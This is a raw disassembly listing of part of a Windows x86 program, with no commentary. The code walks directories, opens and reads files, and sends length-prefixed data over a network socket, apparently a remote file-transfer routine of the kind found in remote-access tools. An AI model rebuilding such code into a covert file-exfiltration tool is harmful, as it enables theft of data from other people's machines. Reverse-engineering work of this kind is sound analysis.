cmp eax, edx
je 0x40493e
push eax
call dword [sym.imp.MSVCR90.dll_free]
add esp, 4
mov eax, dword [esp + 0x2c]
push eax
lea ecx, [esp + 0xdb8]
call dword [sym.imp.MSVCP90.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::constructor_char_const__]
push 5
sub esp, 0x1c
mov byte [esp + 0x2319c], 0x3b
lea edx, [esp + 0xdd4]
mov ecx, esp
mov dword [esp + 0x54], esp
push edx
call dword [sym.imp.MSVCP90.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::constructor_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char___const__]
call fcn.004082f0
lea edi, [esp + 0x3144]
add esp, 0x20
add edi, 0xfffffffe
mov ax, word [edi + 2]
add edi, 2
cmp ax, bx
jne 0x404983
mov eax, dword [0x40f9cc]
mov dword [edi], eax
lea eax, [esp + 0xe78]
mov edx, eax
nop
mov cx, word [eax]
add eax, 2
cmp cx, bx
jne 0x4049a0
lea edi, [esp + 0x3124]
sub eax, edx
add edi, 0xfffffffe
jmp 0x4049c0
mov cx, word [edi + 2]
add edi, 2
cmp cx, bx
jne 0x4049c0
mov ecx, eax
shr ecx, 2
mov esi, edx
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 0xdb4]
mov byte [esp + 0x2317c], 0x3a
call dword [sym.imp.MSVCP90.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::destructor_void_]
lea eax, [esp + 0x2c]
call fcn.0040aae0
lea eax, [esp + 0x24]
call fcn.0040aae0
lea ecx, [esp + 0xd60]
mov byte [esp + 0x2317c], 0x33
call dword [sym.imp.MSVCP90.dll_public:_void___thiscall_std::basic_string_wchar_t__struct_std::char_traits_wchar_t___class_std::allocator_wchar_t__::destructor_void_]
lea eax, [esp + 0x28]
call fcn.0040aae0
lea ecx, [esp + 0xd98]
mov byte [esp + 0x2317c], 0x2f
call dword [sym.imp.MSVCP90.dll_public:_void___thiscall_std::basic_string_wchar_t__struct_std::char_traits_wchar_t___class_std::allocator_wchar_t__::destructor_void_]
lea eax, [esp + 0x30]
call fcn.0040aae0
lea ecx, [esp + 0xd7c]
mov byte [esp + 0x2317c], 0x2a
call dword [sym.imp.MSVCP90.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::destructor_void_]
jmp 0x404fd9
mov ebx, dword [esp + 0xe6c]
mov ebp, dword [esp + 0xe68]
xor ecx, ecx
push 0x7fe
push ecx
lea edx, [esp + 0x18ee]
push edx
mov word [esp + 0x18f0], cx
call sub.MSVCR90.dll_memset
add esp, 0xc
xor eax, eax
push 0x3fe
push eax
lea ecx, [esp + 0x13e6]
push ecx
mov word [esp + 0x13e8], ax
call sub.MSVCR90.dll_memset
add esp, 0xc
lea edx, [esp + 0xd44]
push edx
lea ecx, [esp + 0xd64]
call dword [sym.imp.MSVCP90.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::constructor_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char___const__]
sub esp, 0x1c
mov byte [esp + 0x23198], 0x3c
mov ecx, esp
mov dword [esp + 0x50], esp
push 0x40f9c4
call dword [sym.imp.MSVCP90.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::constructor_char_const__]
lea esi, [esp + 0xd7c]
call fcn.00407f90
add esp, 0x1c
push 0x40f8a4
mov ecx, esi
call dword [0x40f1d0]
push 0x7fc
lea eax, [esp + 0x20ec]
push 0
push eax
mov dword [esp + 0x20f0], 0
call sub.MSVCR90.dll_memset
mov eax, dword [esp + 0xd70]
add esp, 0xc
cmp dword [esp + 0xd78], 0x10
jae 0x404b2e
lea eax, [esp + 0xd64]
push 0xfde9
lea ecx, [esp + 0xb44]
push eax
lea eax, [esp + 0xb44]
mov dword [esp + 0xb44], ecx
call fcn.0040abc0
lea edx, [esp + 0x40]
mov byte [esp + 0x2317c], 0x3d
mov ecx, dword [esp + 0xb3c]
push edx
call fcn.0040aa10
mov byte [esp + 0x2317c], 0x3f
mov eax, dword [esp + 0xb3c]
lea ecx, [esp + 0xb40]
cmp eax, ecx
je 0x404b8b
push eax
call dword [sym.imp.MSVCR90.dll_free]
add esp, 4
mov eax, dword [esp + 0x40]
mov edx, eax
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x404b91
lea edi, [esp + 0x20e4]
sub eax, edx
add edi, 0xfffffffe
jmp 0x404bb0
mov cx, word [edi + 2]
add edi, 2
test cx, cx
jne 0x404bb0
mov ecx, eax
shr ecx, 2
mov esi, edx
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
lea eax, [esp + 0xe78]
rep movsb byte es:[edi], byte [esi]
mov edx, eax
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x404bd5
lea edi, [esp + 0x20e4]
sub eax, edx
add edi, 0xfffffffe
lea esp, [esp]
mov cx, word [edi + 2]
add edi, 2
test cx, cx
jne 0x404bf0
mov ecx, eax
shr ecx, 2
push 0
mov esi, edx
rep movsd dword es:[edi], dword [esi]
push 0
push 3
push 0
push 1
mov ecx, eax
push SysReAllocString
lea edx, [esp + 0x20fc]
and ecx, 3
push edx
rep movsb byte es:[edi], byte [esi]
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov esi, eax
cmp esi, 0xffffffff
je 0x404c55
push esi
lea edi, [esp + 0x13e0]
call fcn.0040a0d0
add esp, 4
test eax, eax
je 0x404c55
mov eax, edi
push eax
push 0x40f9c8
call dword [sym.imp.MSVCR90.dll_printf]
add esp, 8
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
test ebp, ebp
jl 0x404d2b
jg 0x404c72
cmp ebx, 0x400
jbe 0x404d2b
test ebp, ebp
jl 0x404cb8
jg 0x404c80
cmp ebx, 0x100000
jbe 0x404cb8
mov esi, dword [0x41620c]
mov edi, 0x10
cmp dword [0x416220], edi
jae 0x404c98
mov esi, 0x41620c
push 0
push 0x100000
push ebp
push ebx
call fcn.0040c750
push edx
push eax
push esi
push str._s_ld_M
lea ecx, [esp + 0x18f4]
push ecx
jmp 0x404cee
mov esi, dword [0x41620c]
mov edi, 0x10
cmp dword [0x416220], edi
jae 0x404cd0
mov esi, 0x41620c
push 0
push 0x400
push ebp
push ebx
call fcn.0040c750
push edx
push eax
push esi
push str._s_ld_K
lea edx, [esp + 0x18f4]
push edx
call dword [sym.imp.MSVCR90.dll_sprintf]
mov eax, dword [0x4161f0]
add esp, 0x14
cmp dword [0x416204], edi
jae 0x404d09
mov eax, 0x4161f0
mov edx, eax
jmp 0x404d10
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x404d10
lea edi, [esp + 0x18e4]
sub eax, edx
dec edi
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x404d21
jmp 0x404d89
mov eax, dword [0x41620c]
mov esi, 0x10
cmp dword [0x416220], esi
jae 0x404d42
mov eax, 0x41620c
push ebp
push ebx
push eax
lea eax, [esp + 0x18f0]
push str._s__ld_
push eax
call dword [sym.imp.MSVCR90.dll_sprintf]
mov eax, dword [0x4161f0]
add esp, 0x14
cmp dword [0x416204], esi
jae 0x404d6d
mov eax, 0x4161f0
mov edx, eax
nop
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x404d70
lea edi, [esp + 0x18e4]
sub eax, edx
dec edi
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x404d81
mov ecx, eax
shr ecx, 2
mov esi, edx
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
lea eax, [esp + 0x13dc]
rep movsb byte es:[edi], byte [esi]
mov edx, eax
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x404da2
lea edi, [esp + 0x18e4]
sub eax, edx
dec edi
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x404db3
mov ecx, eax
shr ecx, 2
mov esi, edx
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
mov eax, dword [0x416068]
and ecx, 3
cmp dword [0x41607c], 0x10
rep movsb byte es:[edi], byte [esi]
jae 0x404dde
mov eax, 0x416068
mov esi, eax
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x404de0
lea edi, [esp + 0x18e4]
sub eax, esi
dec edi
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x404df1
mov ecx, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
xor ecx, ecx
push 0xf8
push ecx
lea edx, [esp + 0x12de]
push edx
mov word [esp + 0x12e0], cx
call sub.MSVCR90.dll_memset
mov eax, dword [0x41550c]
add esp, 0xc
push eax
lea ecx, [esp + 0x12d8]
push 0x40f888
push ecx
call dword [sym.imp.MSVCR90.dll_sprintf]
add esp, 0xc
push 0xfde9
lea eax, [esp + 0xe7c]
lea edx, [esp + 0x168]
push eax
lea eax, [esp + 0x168]
mov dword [esp + 0x168], edx
call fcn.0040ab00
lea ecx, [esp + 0x1c]
mov byte [esp + 0x2317c], 0x40
push ecx
mov ecx, dword [esp + 0x164]
call fcn.0040a970
mov byte [esp + 0x2317c], 0x42
mov eax, dword [esp + 0x160]
lea edx, [esp + 0x164]
cmp eax, edx
je 0x404ea7
push eax
call dword [sym.imp.MSVCR90.dll_free]
add esp, 4
mov eax, dword [esp + 0x1c]
push eax
lea ecx, [esp + 0xd80]
call dword [sym.imp.MSVCP90.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::constructor_char_const__]
xor ecx, ecx
push 0x30
push ecx
lea edx, [esp + 0x10aa]
mov byte [esp + 0x23184], 0x43
push edx
mov word [esp + 0x10ac], cx
call sub.MSVCR90.dll_memset
add esp, 0xc
push 0xa
lea eax, [esp + 0x10a4]
push eax
push ebx
call dword [sym.imp.MSVCR90.dll__itoa]
add esp, 0xc
lea ecx, [esp + 0x10a0]
push ecx
lea ecx, [esp + 0xdb8]
call dword [sym.imp.MSVCP90.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::constructor_char_const__]
push str.___.
lea ecx, [esp + 0xd80]
mov byte [esp + 0x23180], 0x44
call dword [0x40f1d0]
lea edx, [esp + 0xdb4]
push edx
lea ecx, [esp + 0xd80]
call dword [sym.imp.MSVCP90.dll_public:_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char______thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::operator_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char___const__]
lea eax, [esp + 0x18e4]
push eax
lea ecx, [esp + 0xd80]
call dword [0x40f1d0]
lea ecx, [esp + 0x12d4]
push ecx
lea ecx, [esp + 0xd80]
call dword [0x40f1d0]
push 6
sub esp, 0x1c
lea edx, [esp + 0xd9c]
mov ecx, esp
mov dword [esp + 0x54], esp
push edx
call dword [sym.imp.MSVCP90.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::constructor_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char___const__]
call fcn.004082f0
add esp, 0x20
lea ecx, [esp + 0xdb4]
mov byte [esp + 0x2317c], 0x43
call dword [sym.imp.MSVCP90.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::destructor_void_]
lea ecx, [esp + 0xd7c]
mov byte [esp + 0x2317c], 0x42
call dword [sym.imp.MSVCP90.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::destructor_void_]
lea eax, [esp + 0x1c]
call fcn.0040aae0
lea eax, [esp + 0x40]
call fcn.0040aae0
lea ecx, [esp + 0xd60]
mov byte [esp + 0x2317c], 0x2a
call dword [sym.imp.MSVCP90.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::destructor_void_]
mov ebp, 8
xor ebx, ebx
mov ecx, dword [esp + 0x3c]
lea eax, [esp + 0xe4c]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
test eax, eax
jne 0x4043f0
mov edx, dword [esp + 0x3c]
push edx
call dword [sym.imp.KERNEL32.dll_FindClose]
lea eax, [esp + 0x18]
call fcn.0040aae0
lea ecx, [esp + 0xd44]
jmp 0x403418
push 0x415d7c
lea ecx, [esp + 0xdb8]
call dword [sym.imp.MSVCP90.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::constructor_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char___const__]
push 0
sub esp, 0x1c
mov byte [esp + 0x2319c], 0x45
lea eax, [esp + 0xdd4]
mov ecx, esp
mov dword [esp + 0x54], esp
push eax
call dword [sym.imp.MSVCP90.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::constructor_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char___const__]
call fcn.004082f0
add esp, 0x20
lea ecx, [esp + 0xdb4]
mov byte [esp + 0x2317c], bl
call dword [sym.imp.MSVCP90.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::destructor_void_]
lea ecx, [esp + 0xd44]
jmp 0x403418
lea edi, [esp + 0x28]
mov dword [esp + 0x28], 0
call fcn.004082a0
test al, al
je 0x402c9d
mov ecx, dword [esp + 0x28]
push ecx
call fcn.0040b524
mov edi, dword [esp + 0x2c]
mov esi, eax
add esp, 4
push esi
call fcn.004081d0
add esp, 4
test al, al
jne 0x4050fb
push 0x415d7c
lea ecx, [esp + 0xdf0]
call dword [sym.imp.MSVCP90.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::constructor_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char___const__]
push 0x1a
sub esp, 0x1c
mov edx, esp
mov dword [esp + 0x2319c], 0x46
mov dword [esp + 0x54], esp
push 0x415ecc
lea eax, [esp + 0xe10]
push eax
push edx
call dword [sym.imp.MSVCP90.dll_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char_____cdecl_std::operator_char__struct_std::char_traits_char___class_std::allocator_char___class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char___const___class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char___const__]
add esp, 0xc
call fcn.004082f0
add esp, 0x20
lea ecx, [esp + 0xdec]
jmp 0x402c8c
mov ecx, dword [esp + 0x28]
push ecx
push esi
mov ecx, 0x415fc0
call dword [sym.imp.MSVCP90.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::write_char_const___int_]
mov edx, dword [esp + 0x28]
add dword [0x415500], edx
push esi
call sub.MSVCR90.dll_void___cdecl_operator_delete___void__
add esp, 4
push 0xe
call fcn.00408250
add esp, 4
test al, al
jne case.0x402a59.10
push 0x415d7c
lea ecx, [esp + 0xdf0]
call dword [sym.imp.MSVCP90.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::constructor_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char___const__]
push 0x1a
sub esp, 0x1c
mov eax, esp
mov dword [esp + 0x2319c], 0x47
mov dword [esp + 0x54], esp
push 0x415ecc
lea ecx, [esp + 0xe10]
push ecx
push eax
jmp 0x4050de
mov ecx, 0x415fc0
mov dword [0x415500], 0
call dword [sym.imp.MSVCP90.dll_public:_void___thiscall_std::basic_ofstream_char__struct_std::char_traits_char__::close_void_]
push 0x1f4
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp case.0x402a59.10
lea ecx, [esp + 0xd60]
call dword [sym.imp.MSVCP90.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::constructor_void_]
lea edx, [esp + 0xd60]
push edx
mov dword [esp + 0x23180], 0x48
call fcn.004083f0
add esp, 4
test al, al
je 0x4055c7
lea eax, [esp + 0xd60]
push eax
lea ecx, [esp + 0xd48]
call dword [sym.imp.MSVCP90.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::constructor_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char___const__]
sub esp, 0x1c
mov byte [esp + 0x23198], 0x49
mov ecx, esp
mov dword [esp + 0x50], esp
push str.RFOX
call dword [sym.imp.MSVCP90.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::constructor_char_const__]
lea esi, [esp + 0xd7c]
call fcn.00407f90
mov ecx, esp
mov dword [esp + 0x50], esp
push str.RFOX
call dword [sym.imp.MSVCP90.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::constructor_char_const__]
lea esi, [esp + 0xd60]
call fcn.00408030
mov eax, dword [esp + 0xd64]
mov edi, 0x10
add esp, 0x1c
cmp dword [esp + 0xd5c], edi
jae 0x40523a
lea eax, [esp + 0xd48]
mov esi, dword [sym.imp.MSVCR90.dll_atoi]
push eax
call esi
mov eax, dword [esp + 0xd68]
add esp, 4
cmp dword [esp + 0xd78], edi
jae 0x40525d
lea eax, [esp + 0xd64]
push 0xfde9
lea ecx, [esp + 0x734]
push eax
lea eax, [esp + 0x734]
mov dword [esp + 0x734], ecx
call fcn.0040abc0
lea edx, [esp + 0x1c]
mov byte [esp + 0x2317c], 0x4a
mov ecx, dword [esp + 0x72c]
push edx
call fcn.0040aa10
mov byte [esp + 0x2317c], 0x4c
mov eax, dword [esp + 0x72c]
lea ecx, [esp + 0x730]
cmp eax, ecx
je 0x4052ba
push eax
call dword [sym.imp.MSVCR90.dll_free]
add esp, 4
mov edx, dword [esp + 0x1c]
push 1
push 0x40
push 1
push edx
lea ecx, [esp + 0x10e4]
call dword [sym.imp.MSVCP90.dll_public:_void___thiscall_std::basic_ifstream_char__struct_std::char_traits_char__::constructor_wchar_t_const___int__int_]
mov byte [esp + 0x2317c], 0x4d
mov eax, dword [esp + 0x10d4]
mov ecx, dword [eax + 4]
test byte [esp + ecx + 0x10dc], 6
je 0x40541f
sub esp, 0x1c
mov ecx, esp
mov dword [esp + 0x50], esp
push 0x40f9f8
call dword [sym.imp.MSVCP90.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::constructor_char_const__]
lea ecx, [esp + 0xe08]
call fcn.00409650
mov byte [esp + 0x23198], 0x4e
mov ecx, esp
mov dword [esp + 0x50], esp
push 0x40fa10
call dword [sym.imp.MSVCP90.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::constructor_char_const__]
lea ecx, [esp + 0xe38]
call fcn.00409650
add esp, 0x1c
push 0x1a
lea edx, [esp + 0xd64]
push edx
lea eax, [esp + 0xdf4]
mov bl, 0x4f
push eax
lea ecx, [esp + 0x150]
mov byte [esp + 0x23188], bl
mov esi, dword [sym.imp.MSVCP90.dll_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char_____cdecl_std::operator_char__struct_std::char_traits_char___class_std::allocator_char___class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char___const___class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char___const__]
push ecx
call esi
sub esp, 0x10
mov edx, esp
mov byte [esp + 0x2319c], 0x50
mov dword [esp + 0x54], esp
lea ecx, [esp + 0xe3c]
push ecx
push eax
push edx
call esi
add esp, 0xc
call fcn.004082f0
add esp, 0x20
lea ecx, [esp + 0x144]
mov byte [esp + 0x2317c], bl
call dword [sym.imp.MSVCP90.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::destructor_void_]
push 0x1a
sub esp, 0x1c
mov edx, esp
mov dword [esp + 0x54], esp
lea eax, [esp + 0xd80]
push eax
lea ecx, [esp + 0xe10]
push ecx
push edx
call esi
add esp, 0xc
call fcn.004082f0
add esp, 0x20
lea ecx, [esp + 0xe1c]
mov byte [esp + 0x2317c], 0x4e
call dword [sym.imp.MSVCP90.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::destructor_void_]
lea ecx, [esp + 0xdec]
mov byte [esp + 0x2317c], 0x4d
call dword [sym.imp.MSVCP90.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::destructor_void_]
lea ecx, [esp + 0x10d4]
mov byte [esp + 0x2317c], 0x4c
call dword [sym.imp.MSVCP90.dll_public:_void___thiscall_std::basic_ifstream_char__struct_std::char_traits_char__::vbase_dtor_void_]
lea eax, [esp + 0x1c]
call fcn.0040aae0
mov byte [esp + 0x2317c], 0x48
jmp 0x403404
lea ecx, [esp + 0x10d4]
call dword [sym.imp.MSVCP90.dll_public:_void___thiscall_std::basic_ifstream_char__struct_std::char_traits_char__::close_void_]
push 0x1f4
call dword [sym.imp.KERNEL32.dll_Sleep]
mov edx, dword [esp + 0x1c]
push 0x40
push 0x24
push edx
mov ecx, 0x415f18
call dword [sym.imp.MSVCP90.dll_public:_void___thiscall_std::basic_ifstream_char__struct_std::char_traits_char__::open_wchar_t_const___int__int_]
lea eax, [esp + 0xd60]
push eax
mov ecx, 0x415eb0
call dword [0x40f158]
lea ecx, [esp + 0x2ec]
push ecx
mov ecx, 0x415f18
call dword [sym.imp.MSVCP90.dll_public:_class_std::fpos_int____thiscall_std::basic_istream_char__struct_std::char_traits_char__::tellg_void_]
mov edx, dword [eax]
mov dword [0x415f00], edx
mov ecx, dword [eax + 4]
mov dword [0x415f04], ecx
mov edx, dword [eax + 8]
mov dword [0x415f08], edx
mov ecx, dword [eax + 0xc]
mov dword [0x415f0c], ecx
mov edx, dword [eax + 0x10]
mov dword [0x415f10], edx
mov eax, dword [eax + 0x14]
mov dword [0x415f14], eax
mov eax, dword [esp + 0xd48]
cmp dword [esp + 0xd5c], edi
jae 0x4054bc
lea eax, [esp + 0xd48]
push eax
call esi
sub esp, 0x14
mov ecx, esp
xor ebp, ebp
mov dword [ecx], eax
mov dword [ecx + 8], ebp
mov dword [ecx + 0xc], ebp
mov dword [ecx + 0x10], ebp
mov ecx, 0x415f18
mov dword [esp + 0x4c], esp
call dword [sym.imp.MSVCP90.dll_public:_class_std::basic_istream_char__struct_std::char_traits_char______thiscall_std::basic_istream_char__struct_std::char_traits_char__::seekg_class_std::fpos_int__]
mov eax, dword [esp + 0xd48]
cmp dword [esp + 0xd5c], edi
jae 0x4054f7
lea eax, [esp + 0xd48]
push eax
call esi
mov edi, dword [esp + 0x4c]
xor ecx, ecx
mov dword [0x415ef0], ecx
mov ecx, dword [esp + 0x5c]
mov dword [0x415efc], ecx
mov ecx, dword [0x415f00]
xor edx, edx
add esp, 4
mov dword [0x415ef4], edx
sub ecx, eax
add ecx, dword [0x415f08]
push 0xa
lea edx, [esp + 0x12d8]
push edx
xor esi, esi
push ecx
mov dword [0x415ee8], eax
mov dword [0x415eec], edi
mov dword [0x415ef8], esi
mov dword [esp + 0x30], ecx
call dword [sym.imp.MSVCR90.dll__itoa]
add esp, 0xc
lea eax, [esp + 0x12d4]
push eax
lea ecx, [esp + 0xd9c]
call dword [sym.imp.MSVCP90.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::constructor_char_const__]
push 0x1c
mov byte [esp + 0x23180], 0x51
call fcn.00408250
add esp, 4
test al, al
jne 0x4055d3
lea ecx, [esp + 0xd98]
mov byte [esp + 0x2317c], 0x4d
call dword [sym.imp.MSVCP90.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::destructor_void_]
lea ecx, [esp + 0x10d4]
mov byte [esp + 0x2317c], 0x4c
call dword [sym.imp.MSVCP90.dll_public:_void___thiscall_std::basic_ifstream_char__struct_std::char_traits_char__::vbase_dtor_void_]
lea eax, [esp + 0x1c]
call fcn.0040aae0
lea ecx, [esp + 0xd44]
mov byte [esp + 0x2317c], 0x48
call dword [sym.imp.MSVCP90.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::destructor_void_]
lea ecx, [esp + 0xd60]
jmp 0x402c8c
mov ecx, dword [esp + 0x24]
push ecx
call dword [sym.imp.WS2_32.dll_htonl]
mov edi, dword [sym.imp.WS2_32.dll_send]
mov dword [esp + 0x24], eax
xor esi, esi
lea ebx, [ebx]
mov ecx, dword [0x415520]
push ebp
mov edx, 4
sub edx, esi
push edx
lea eax, [esp + esi + 0x2c]
push eax
push ecx
call edi
or ebx, 0xffffffff
cmp eax, ebx
je 0x405684
add esi, eax
cmp esi, 4
jl 0x4055f0
push 0x1f4
call dword [sym.imp.KERNEL32.dll_Sleep]
call fcn.00406910
mov byte [esp + 0x2317c], 0x4d
lea ecx, [esp + 0xd98]
test al, al
je 0x405693
call dword [sym.imp.MSVCP90.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::destructor_void_]
lea ecx, [esp + 0x10d4]
mov byte [esp + 0x2317c], 0x4c
call dword [sym.imp.MSVCP90.dll_public:_void___thiscall_std::basic_ifstream_char__struct_std::char_traits_char__::vbase_dtor_void_]
lea eax, [esp + 0x1c]
call fcn.0040aae0
lea ecx, [esp + 0xd44]
mov byte [esp + 0x2317c], 0x48
call dword [sym.imp.MSVCP90.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::destructor_void_]
mov dword [esp + 0x2317c], ebx
lea ecx, [esp + 0xd60]
jmp 0x403423
mov byte [esp + 0x2317c], 0x4d
lea ecx, [esp + 0xd98]
call dword [sym.imp.MSVCP90.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::destructor_void_]
lea ecx, [esp + 0x10d4]
mov byte [esp + 0x2317c], 0x4c
call dword [sym.imp.MSVCP90.dll_public:_void___thiscall_std::basic_ifstream_char__struct_std::char_traits_char__::vbase_dtor_void_]
lea eax, [esp + 0x1c]
call fcn.0040aae0
lea ecx, [esp + 0xd44]
mov byte [esp + 0x2317c], 0x48
call dword [sym.imp.MSVCP90.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::destructor_void_]
lea ecx, [esp + 0xd60]
mov dword [esp + 0x2317c], ebx
call dword [sym.imp.MSVCP90.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::destructor_void_]
xor al, al
jmp 0x40342b
lea ecx, [esp + 0xd7c]
call dword [sym.imp.MSVCP90.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::constructor_void_]
lea edx, [esp + 0xd7c]
push edx
mov dword [esp + 0x23180], 0x52
call fcn.004083f0
add esp, 4
test al, al
je 0x405a4e
cmp dword [esp + 0xd94], 0x10
mov eax, dword [esp + 0xd80]
jae 0x40572f
lea eax, [esp + 0xd80]
push 0xfde9
lea ecx, [esp + 0x630]
push eax
lea eax, [esp + 0x630]
mov dword [esp + 0x630], ecx
call fcn.0040abc0
lea edx, [esp + 0x30]
mov byte [esp + 0x2317c], 0x53
mov ecx, dword [esp + 0x628]
push edx
call fcn.0040aa10
mov byte [esp + 0x2317c], 0x55
mov eax, dword [esp + 0x628]
lea ecx, [esp + 0x62c]
cmp eax, ecx
je 0x40578c
push eax
call dword [sym.imp.MSVCR90.dll_free]
add esp, 4
mov edx, dword [esp + 0x30]
push 1
push 0x40
push 1
push edx
lea ecx, [esp + 0x11e4]
call dword [sym.imp.MSVCP90.dll_public:_void___thiscall_std::basic_ifstream_char__struct_std::char_traits_char__::constructor_wchar_t_const___int__int_]
mov byte [esp + 0x2317c], 0x56
mov eax, dword [esp + 0x11d4]
mov ecx, dword [eax + 4]
test byte [esp + ecx + 0x11dc], 6
je 0x4058f0
sub esp, 0x1c
mov ecx, esp
mov dword [esp + 0x50], esp
push 0x40f9f8
call dword [sym.imp.MSVCP90.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::constructor_char_const__]
lea ecx, [esp + 0xdd0]
call fcn.00409650
mov byte [esp + 0x23198], 0x57
mov ecx, esp
mov dword [esp + 0x50], esp
push 0x40fa10
call dword [sym.imp.MSVCP90.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::constructor_char_const__]
lea ecx, [esp + 0x10bc]
call fcn.00409650
add esp, 0x1c
push 0x1a
lea edx, [esp + 0xd80]
push edx
lea eax, [esp + 0xdbc]
mov bl, 0x58
push eax
lea ecx, [esp + 0xc4]
mov byte [esp + 0x23188], bl
mov esi, dword [sym.imp.MSVCP90.dll_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char_____cdecl_std::operator_char__struct_std::char_traits_char___class_std::allocator_char___class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char___const___class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char___const__]
push ecx
call esi
sub esp, 0x10
mov edx, esp
mov byte [esp + 0x2319c], 0x59
mov dword [esp + 0x54], esp
lea ecx, [esp + 0x10c0]
push ecx
push eax
push edx
call esi
add esp, 0xc
call fcn.004082f0
add esp, 0x20
lea ecx, [esp + 0xb8]
mov byte [esp + 0x2317c], bl
call dword [sym.imp.MSVCP90.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::destructor_void_]
push 0x1a
sub esp, 0x1c
mov edx, esp
mov dword [esp + 0x54], esp
lea eax, [esp + 0xd9c]
push eax
lea ecx, [esp + 0xdd8]
push ecx
push edx
call esi
add esp, 0xc
call fcn.004082f0
add esp, 0x20
lea ecx, [esp + 0x10a0]
